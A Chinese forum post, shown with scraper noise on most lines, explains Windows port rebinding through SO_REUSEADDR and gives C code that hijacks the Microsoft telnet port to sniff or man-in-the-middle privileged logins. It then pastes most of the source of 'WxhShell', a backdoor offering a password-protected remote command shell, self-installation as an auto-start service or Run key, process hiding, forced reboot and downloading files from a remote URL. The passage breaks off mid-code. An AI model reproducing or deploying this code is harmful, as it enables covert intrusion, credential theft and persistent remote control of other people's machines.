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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V: fz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YiJnh47  
}%c2u/PQ  
  saddr.sin_family = AF_INET; !trt]?*-  
^HgQ"dD <  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); , ;W6wj  
:1^ R$0d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5z~rl}`v  
Dq/_^a/1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v8Vw.Ce`f  
!_ZknZTT  
  这意味着什么?意味着可以进行如下的攻击: %PRG;kR  
|`+kZ-M*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Jz&a9  
Y,w'Op  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UbNA|`H  
QkS~~|0EI>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7I;xRo|  
gHdNqOy c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `% IzW2v6  
^,*ED Yz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Veo*-sl  
!m"LIa#/Cs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;\ ^'}S|3Z  
sL" h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h sG~xRA\  
PP)iw@9j  
  #include fFDI qX  
  #include +Ysm6n '  
  #include cq lA"Eof  
  #include    > %h7)}U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }<R,)ZV^G  
  int main() 1P4cB w%  
  { Geyy!sr``  
  WORD wVersionRequested; \|e>(h!l;  
  DWORD ret; $J6Pv   
  WSADATA wsaData; EQe!&;   
  BOOL val; 8(-V pU  
  SOCKADDR_IN saddr; KuBN_bd  
  SOCKADDR_IN scaddr; tfB}U.  
  int err; mm}y/dO~}  
  SOCKET s; gJa48 pi  
  SOCKET sc; kN7 J Z12  
  int caddsize; `HVS}}{a  
  HANDLE mt; m=Mb'<  
  DWORD tid;   0s9-`nHen|  
  wVersionRequested = MAKEWORD( 2, 2 ); y7CC5S ?  
  err = WSAStartup( wVersionRequested, &wsaData ); g)?Ol  
  if ( err != 0 ) { CD^C}MB  
  printf("error!WSAStartup failed!\n"); yS#)F.  
  return -1; I0iTa99K  
  } LR:PSgy  
  saddr.sin_family = AF_INET; bn 7"!6  
   9NF2a)&~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _{j'` #  
Z2n Jw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k+9*7y8w  
  saddr.sin_port = htons(23); C@x\ZG5rA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Vf?Rw  
  { v C23  
  printf("error!socket failed!\n"); HQp\0NC]  
  return -1; F}1h  
  } 7 bV(eV  
  val = TRUE; @jL](Mq|]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l7h6R$7; 0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j1zrjhXI  
  { jY;T:C-T  
  printf("error!setsockopt failed!\n"); Wd`*<+t]  
  return -1; cNbH:r"Ay  
  } oW}nr<G{<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; } 6 ,m2u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n[S-bzU^t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \;XDPC j  
VSx9aVPkC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5!QT }Um  
  { < `$svM  
  ret=GetLastError(); BiY-u/bH9a  
  printf("error!bind failed!\n"); dU}Cb?]7s  
  return -1; m+UWvUB)  
  } Sp7VH+  
  listen(s,2); R$XHjb)  
  while(1) WCTmf8f  
  { e{Q;,jsh  
  caddsize = sizeof(scaddr); #B!| sXC  
  //接受连接请求 n~"qbtp}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BGd# \2  
  if(sc!=INVALID_SOCKET) Z8Iqgz7|y  
  { t1JU_P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sX@}4[)<&  
  if(mt==NULL) (k^% j  
  { p< Y-b,&  
  printf("Thread Creat Failed!\n"); W [*Go  
  break; Ln'y 3~@  
  } %p48=|+  
  } H(hE;|q/  
  CloseHandle(mt); HLe/|x\@<  
  } 4s s 4O  
  closesocket(s); c"O4=[N: ;  
  WSACleanup(); a(J@]X>'  
  return 0; dhX$b!DA  
  }   S j ly]  
  DWORD WINAPI ClientThread(LPVOID lpParam)  /!#A'#Z  
  { O~Jm<  
  SOCKET ss = (SOCKET)lpParam; u^O!5 'D%  
  SOCKET sc; X-=4Z9  
  unsigned char buf[4096]; YpOcLxFL  
  SOCKADDR_IN saddr; 5cvvdO*C0  
  long num; H#S`m  
  DWORD val; |(%=zb=?X  
  DWORD ret; tk)J E^'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xTU;rJV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yk0tA  
  saddr.sin_family = AF_INET; TU6(Q,Yi|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S$O5jX 0  
  saddr.sin_port = htons(23); wBWqibY|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pCf9"LLer  
  { "ejsz&n  
  printf("error!socket failed!\n"); )3 I~6ar  
  return -1; O#<F"e;$  
  } A`--*$8\  
  val = 100; cP",szcY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dm@h'*  
  { Z0/$XS9|h;  
  ret = GetLastError(); |KR8=-!7  
  return -1; lak,lDt]  
  } %[4u #G`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \.aKxj5  
  { 4tEAi4H|`@  
  ret = GetLastError(); NXk~o!D  
  return -1; F pT$D  
  } )Q 5 x%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dWx@<(`OC  
  { VA>0Y  
  printf("error!socket connect failed!\n"); p,V%wGM  
  closesocket(sc); 3(Ns1/;?,  
  closesocket(ss); )oALB vX  
  return -1; =]r2;014  
  } =H`yzGt  
  while(1) cL<,]%SkE  
  { X }`o9]y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xnC:?d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @Di!~e6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VKtlAfXy~  
  num = recv(ss,buf,4096,0); b^STegz  
  if(num>0) YQ@2p?4m  
  send(sc,buf,num,0); p"FWAC!  
  else if(num==0) EKD#s,(V*X  
  break; !F:mD ZeY  
  num = recv(sc,buf,4096,0); A^E 6)A=  
  if(num>0) 3RX9LJGX  
  send(ss,buf,num,0); 0h~{K  
  else if(num==0) !{4'=+  
  break; )7{r8a  
  } {!j)j6(NY  
  closesocket(ss); L PS,\+  
  closesocket(sc);  &1f3e  
  return 0 ; v}J0j  
  } it-]-=mqb  
F [Lg,}  
!>"fDz<w`  
========================================================== C;5`G *e  
$|g ;  
下边附上一个代码,,WXhSHELL HOx+umjxW  
diNAT`|?#  
========================================================== .p]r S =#  
g${JdxR:  
#include "stdafx.h" bSz@@s.  
@tJ4^<`P{  
#include <stdio.h> ')}itS8  
#include <string.h> ,J '_Vi  
#include <windows.h> .hM t:BMf*  
#include <winsock2.h> t-5K dLB  
#include <winsvc.h> Go!{@ xx>  
#include <urlmon.h> W':b6}?  
,>01Cs=t8  
#pragma comment (lib, "Ws2_32.lib") l[]cUE  
#pragma comment (lib, "urlmon.lib") %-]a[qf3  
d&+0JI<  
#define MAX_USER   100 // 最大客户端连接数 jU kxA7 }}  
#define BUF_SOCK   200 // sock buffer 1l/t|M^I  
#define KEY_BUFF   255 // 输入 buffer W mbIz[un  
'=O1n H<  
#define REBOOT     0   // 重启 A|,qjiEJCc  
#define SHUTDOWN   1   // 关机 +~BP~  
7x=4P|(\}  
#define DEF_PORT   5000 // 监听端口 @)x*62r+  
,a?oGi  
#define REG_LEN     16   // 注册表键长度 ^Zp  
#define SVC_LEN     80   // NT服务名长度 5]GgjQ  
-Bl^TT  
// 从dll定义API x N7sFSV@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i6A9|G$H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AN6Q~%,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :\I*_00!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]DU?N7J  
_Rb2jq(&0  
// wxhshell配置信息 ML MetRP  
struct WSCFG { ,NvXpN  
  int ws_port;         // 监听端口 7p hf  
  char ws_passstr[REG_LEN]; // 口令 .heU Ir,  
  int ws_autoins;       // 安装标记, 1=yes 0=no '!ks $}$`h  
  char ws_regname[REG_LEN]; // 注册表键名 H] g=( %ok  
  char ws_svcname[REG_LEN]; // 服务名 0{uaSR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9R2"(.U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /Wcx%P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n*Dn{ 7v#z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'l`prp3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L&y"oAp<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &PH:J*?C}  
DRR)mQBb  
}; !zm;C@}ln  
4;W{#jk  
// default Wxhshell configuration M| j=J{r  
struct WSCFG wscfg={DEF_PORT, k0O5c[ j  
    "xuhuanlingzhe", %LzARTX  
    1, w~'}uh  
    "Wxhshell", }3_b%{  
    "Wxhshell", a$h^<D ^  
            "WxhShell Service", v-SX PL]_^  
    "Wrsky Windows CmdShell Service", \'<P~I&p  
    "Please Input Your Password: ", dCS f$5  
  1, c|`$ h  
  "http://www.wrsky.com/wxhshell.exe", $|@vmv0  
  "Wxhshell.exe" :F@Uq<~(  
    }; Ncsh{.  
$i6z)]rjg  
// 消息定义模块 uoOUgNwGg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @{q<"hT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; czU"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :b(W&iBWhI  
char *msg_ws_ext="\n\rExit."; Z]R#F0"U  
char *msg_ws_end="\n\rQuit."; oQ,<Yx%E3  
char *msg_ws_boot="\n\rReboot..."; q^sZP\i,*;  
char *msg_ws_poff="\n\rShutdown..."; A)3H`L  
char *msg_ws_down="\n\rSave to "; )gSqO{Z  
9( q(;|;Hp  
char *msg_ws_err="\n\rErr!"; _<{<b  
char *msg_ws_ok="\n\rOK!"; G`kz 0Vk  
#=S^i[K/  
char ExeFile[MAX_PATH]; TEY~E*=}$  
int nUser = 0; i>,AnkI&  
HANDLE handles[MAX_USER]; Dol{y=(3e  
int OsIsNt; GVJ||0D  
LtX53c  
SERVICE_STATUS       serviceStatus; Y1I)w^}:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _fu <`|kc  
+x}9a~QG#  
// 函数声明 0"% dPKi  
int Install(void); 9$z$yGjl  
int Uninstall(void); sH;_U)ssH  
int DownloadFile(char *sURL, SOCKET wsh); Gj-nT N  
int Boot(int flag); dH;2OWM  
void HideProc(void); B+U:=591  
int GetOsVer(void); {9}CU~R  
int Wxhshell(SOCKET wsl); 5!fYTo|G>  
void TalkWithClient(void *cs); ?YS>_ MN  
int CmdShell(SOCKET sock); @WS77d~S  
int StartFromService(void); T\bP8D  
int StartWxhshell(LPSTR lpCmdLine); Zs=A<[  
2O[sRm)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t~j 6wsx;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;z.niX.fx  
;]Q6K9.d8  
// 数据结构和表定义 WIf.;B)L  
SERVICE_TABLE_ENTRY DispatchTable[] = f%@~|:G:  
{ c_*w<vJ-'  
{wscfg.ws_svcname, NTServiceMain}, /CNsGx%%  
{NULL, NULL} 2I}pX9  
}; ;Go^)bN ;  
k Alx m{  
// 自我安装 O8$~dzf,2  
int Install(void)  )^{}ov  
{ 8R3{YJ6@T  
  char svExeFile[MAX_PATH]; sb{K%xi%  
  HKEY key; }u O YF  
  strcpy(svExeFile,ExeFile); =b:XL#VA  
W<pr Y  
// 如果是win9x系统,修改注册表设为自启动 e7@ m i  
if(!OsIsNt) { %5gdLm!p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Esl I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `/>kN%  
  RegCloseKey(key); A|r3c?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F&czD;F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T{C;bf:Q  
  RegCloseKey(key); b+|Jw\k  
  return 0; mEd2f^R  
    } YJ6~P   
  } 9hIKx:XCg  
} G9Uc }z  
else { B-C$>H^  
fYk>LW  
// 如果是NT以上系统,安装为系统服务 |z=`Ur@)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mc@9ivwL#  
if (schSCManager!=0) uH9Vj<E$K  
{ [Xu8~c X  
  SC_HANDLE schService = CreateService 0AQ4:KV(Y  
  ( `;6M|5G  
  schSCManager, fI)XV7,X  
  wscfg.ws_svcname, 9u( pn`e 3  
  wscfg.ws_svcdisp, F0U %m   
  SERVICE_ALL_ACCESS, 8{G!OBxc\.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +QFKaS<sn  
  SERVICE_AUTO_START, y 9]d{:9  
  SERVICE_ERROR_NORMAL, ,_kw}_n=  
  svExeFile, Zt3sU_  
  NULL, et 1HbX  
  NULL, '\#q7YjaL  
  NULL, QAV6{QShj  
  NULL, ]\xt[/?{  
  NULL o&1mX  
  ); lz0-5z+\  
  if (schService!=0) L[2qCxB'^  
  { uBbQJvL  
  CloseServiceHandle(schService); >j=ZB3yZ  
  CloseServiceHandle(schSCManager); `nyz,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0(y*EJA$  
  strcat(svExeFile,wscfg.ws_svcname); ^@V*:n^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #,#_"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MeBTc&S<  
  RegCloseKey(key); 2.Vrh@FNRo  
  return 0; +yO) 3  
    } K]m#~J3d>  
  } 3%)cUkD  
  CloseServiceHandle(schSCManager); ^&YtZjV  
} 6-wpR  
} !}*vM@)1  
u* pQVU  
return 1; H>/,Re  
} :5~Dca_iU4  
R1LirZlzJ  
// 自我卸载 %6cr4}Zm}  
int Uninstall(void) K`N$nOw  
{ 5>9Q<*   
  HKEY key; E^rBs2;9  
6n2RTH  
if(!OsIsNt) { h/\v+xiF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %h ;oi/pe  
  RegDeleteValue(key,wscfg.ws_regname); !hQ-i3?qm  
  RegCloseKey(key); /1LN\Eu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .$-;`&0cZ  
  RegDeleteValue(key,wscfg.ws_regname); F[\T'{  
  RegCloseKey(key); V Dnrm*  
  return 0; }` 3-  
  } Nt8"6k_  
} LE}`rW3  
} hXI[FICQU{  
else { \xS X'/G  
qY-aR;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &;ddnxFI  
if (schSCManager!=0) 8x1!15Wiz  
{ =M 8Mt/P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s>G6/TTH6  
  if (schService!=0) Tr;.%/4Q  
  { !=21K0~t#  
  if(DeleteService(schService)!=0) { ',hoe  
  CloseServiceHandle(schService); GThGV"  
  CloseServiceHandle(schSCManager); ruagJS)+  
  return 0; [Uk cG9  
  } Ds] .Ae  
  CloseServiceHandle(schService); a)2l9  
  } 1W*Qc_5 v1  
  CloseServiceHandle(schSCManager); z&!o1uq  
} 5L6.7}B  
} |u`YT;`!"-  
d >L8S L  
return 1; ^e "4@O"  
} =z5=?  
AIl`>ac  
// 从指定url下载文件 1<x5{/CZ  
int DownloadFile(char *sURL, SOCKET wsh) oa+'.b~  
{ n\I s}Czl  
  HRESULT hr; u^C\aujg  
char seps[]= "/"; 2 br>{^T  
char *token; u@Gum|_=N  
char *file; b7xOm"X,N  
char myURL[MAX_PATH]; zk70D_}L  
char myFILE[MAX_PATH]; vyc<RjS_x  
ce4rhtkV  
strcpy(myURL,sURL); q@1A2L\Om  
  token=strtok(myURL,seps); bg3kGt0  
  while(token!=NULL) c5f57Z  
  { hTAc}'^$  
    file=token; M&zB&Ia"'  
  token=strtok(NULL,seps); 2:.$:wS  
  } $m>( kd1  
]nV_K}!w  
GetCurrentDirectory(MAX_PATH,myFILE); jMWTNZ  
strcat(myFILE, "\\"); !K_<7iExI\  
strcat(myFILE, file); RU.j[8N$  
  send(wsh,myFILE,strlen(myFILE),0); 8fvKVS  
send(wsh,"...",3,0); 2hntQ1[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tF*Sg{:bCa  
  if(hr==S_OK) #@Tm5z  
return 0; MAqETjB  
else 1jSmTI d  
return 1; jz'%(6#'gW  
]Gm&Kn >  
} [PrJf"Z "  
-[=@'N P  
// 系统电源模块 LUx'Dm"  
int Boot(int flag) T}p|_)&y  
{ Rp zuSh  
  HANDLE hToken; 6EWCJ%_  
  TOKEN_PRIVILEGES tkp; 9 [E/^  
WFug-#;e  
  if(OsIsNt) { P'5Lu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C>l (4*S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]w)uo4<^J  
    tkp.PrivilegeCount = 1; M(^IRI-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qsN}KgTjg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $43CNnf3N  
if(flag==REBOOT) { >&Ye(3w&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |%Y=]@f  
  return 0; 10dK%/6/O  
} MmfshnTN  
else { ;h~kB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q Na*Y@i  
  return 0; R8% u9o  
} y(Pv1=e  
  } Sr6iQxE  
  else { ;%n(ARZ#  
if(flag==REBOOT) { $H,9GIivD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [eF|2:  
  return 0; Y% [H:  
} &6Wim<*  
else { jN+2+P%OL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) up3m um  
  return 0; D1fUEHB}A8  
} )A;jBfr  
} o5z&sRZ  
v<} $d.&*  
return 1; Q|Pm8{8  
} dI,H:g  
G~lnX^46"  
// win9x进程隐藏模块 Fw#wVs)@:  
void HideProc(void) xNVSWi,  
{ n<[H!4  
-fz(]d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {>&M:_`k  
  if ( hKernel != NULL ) 'xOH~RlE  
  { :)Nk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %+$!ctn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (n{!~'3  
    FreeLibrary(hKernel); /P{'nI  
  } 0pe*DbYP5  
3t] 0  
return; SMm$4h R  
} oW/H8q<wY  
6nk.q|n:g  
// 获取操作系统版本 oA ]F`N=  
int GetOsVer(void) # f{L;  
{ jAFJ?L(  
  OSVERSIONINFO winfo; 7mS_Cz+cB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0vz!)  
  GetVersionEx(&winfo); H%Sx*|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .V^h<d{  
  return 1; H!g9~a  
  else )% ?SWuS?N  
  return 0; Bv=:F5hLG  
} *5'l"YQ@1  
Su`] ku'  
// 客户端句柄模块 Fc"+L+h@W  
int Wxhshell(SOCKET wsl)  O6!:Qd  
{ p["20 ?^  
  SOCKET wsh; +3;[1dpgf  
  struct sockaddr_in client; D|5Fo'O^AV  
  DWORD myID; *7/MeE6)i  
I#t# %!InH  
  while(nUser<MAX_USER) u&Y1,:hiL  
{ C'0=eel[  
  int nSize=sizeof(client); .$-%rU:*}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q}7(w$&  
  if(wsh==INVALID_SOCKET) return 1; fL R.2vJ  
U[l{cRT   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7vsXfIP+  
if(handles[nUser]==0) /\uW[mt  
  closesocket(wsh); |Q~5TL>b  
else 6?jSe<4x  
  nUser++; W#[3a4%m  
  } Q92hI"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =Cr F(wVO"  
wo!;Bxo N  
  return 0; ehYGw2  
} []eZO_o6j  
bMF`KRP2  
// 关闭 socket 9RN! <`H  
void CloseIt(SOCKET wsh) V_7QWIdiy>  
{ vJ!<7 l&  
closesocket(wsh); *Ry "`"  
nUser--; N]@e7P'9F  
ExitThread(0); 'WQ<|(:{  
} |-k~Fa  
EPwM+#|e-  
// 客户端请求句柄 fxk6q$'  
void TalkWithClient(void *cs) J"RmV@|  
{ \rf2O s  
Dmv@ljwO  
  SOCKET wsh=(SOCKET)cs; 0_-NE4SM/  
  char pwd[SVC_LEN]; 79(Px2H2  
  char cmd[KEY_BUFF]; HTUY|^^D  
char chr[1]; G-Ju`.  
int i,j; (&Z`P  
})@LvYK  
  while (nUser < MAX_USER) { MDKiwT@#  
#~88[i-6  
if(wscfg.ws_passstr) { 5;-?qcb^w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N,NEg4 q[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )OcG$H NK  
  //ZeroMemory(pwd,KEY_BUFF); *l4`2eqZ  
      i=0; Kf7v_T /  
  while(i<SVC_LEN) { at `\7YfQp  
/WKp\r(Hp  
  // 设置超时 ~,.}@XlgT.  
  fd_set FdRead; VN9C@ ;'$  
  struct timeval TimeOut; /SZg34%  
  FD_ZERO(&FdRead); 'xY@ I`x  
  FD_SET(wsh,&FdRead); |F#L{=B  
  TimeOut.tv_sec=8; c 7uryL  
  TimeOut.tv_usec=0; kUG3_ *1 .  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oVSq#I4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :.M"M$MRp8  
@z)_m!yV1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ${%*O}$  
  pwd=chr[0]; %@Ty,d:;=  
  if(chr[0]==0xd || chr[0]==0xa) { (Q09$  
  pwd=0; FO5'<G-  
  break; !EQMTF=(  
  } v(tr:[V  
  i++; cU'^ Ja?%  
    } Lcyj, R  
 $VCWc#  
  // 如果是非法用户,关闭 socket $w$4RQk3n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =-qv[;%& 6  
} GM<r{6Qy  
"~lGSWcU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hVcV_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {r!X W  
)cy_d!  
while(1) { h[O!kwE  
Vi~F Q  
  ZeroMemory(cmd,KEY_BUFF); 'j+J?Y^  
`)W}4itm  
      // 自动支持客户端 telnet标准   3[L)q2;}$N  
  j=0; S?5z  
  while(j<KEY_BUFF) { &<P!o_+eb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Cjb|f3'i}  
  cmd[j]=chr[0];  ? h$>7|  
  if(chr[0]==0xa || chr[0]==0xd) { huau(s0um  
  cmd[j]=0; 3'WS6B+  
  break; @edi6b1W  
  } :h&*<!O2B`  
  j++; C9q`x2  
    } J8x>vC  
>_y>["u6J#  
  // 下载文件 7='M&Za  
  if(strstr(cmd,"http://")) { U9KnW]O%"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,&sBa{0  
  if(DownloadFile(cmd,wsh)) 9* %Uoy:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,y9  
  else UEJX0=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }>w;(R  
  } 'lU9*e9  
  else { @,-xaZ[  
!=.5$/  
    switch(cmd[0]) { k.DDfuKN  
  hNV" {V3`{  
  // 帮助 g=;c*{  
  case '?': { 10JxfDceD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +x!V;H(  
    break; u=I>DEe@ c  
  } $ #C$V>  
  // 安装 ) tGC&l+?/  
  case 'i': { o(. PxcD  
    if(Install()) JeJc(e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K`A2  
    else L44-: 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a<[@p  
    break; R4"g? e  
    } 1e;^Mz B"  
  // 卸载 -, ~n|ceI  
  case 'r': { (d[)U<  
    if(Uninstall()) ^z$-NSlI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1X/ q7lR  
    else e/WR\B'1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J*8fGR%  
    break; i8nCTW  
    } \)ac,i@fy  
  // 显示 wxhshell 所在路径 ?EeHeN_  
  case 'p': { +>oVc\$  
    char svExeFile[MAX_PATH]; aT#R#7<Eg  
    strcpy(svExeFile,"\n\r"); 5w`v 3o  
      strcat(svExeFile,ExeFile); !V.'~xj  
        send(wsh,svExeFile,strlen(svExeFile),0); S)GWr"m-  
    break; f4zd(J  
    } =@m|g )  
  // 重启 .h^."+TJ  
  case 'b': { -O_5OT4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S*:b\{[f>  
    if(Boot(REBOOT)) ;""V s6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;h3uMUCml  
    else { nVoPTr  
    closesocket(wsh);  _tN"<9v.  
    ExitThread(0); <Ja>  
    } ,k/*f+t  
    break; p~28?lYv  
    } xX  
  // 关机 =%|S$J  
  case 'd': { 5-}4jwk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R\+p`n$  
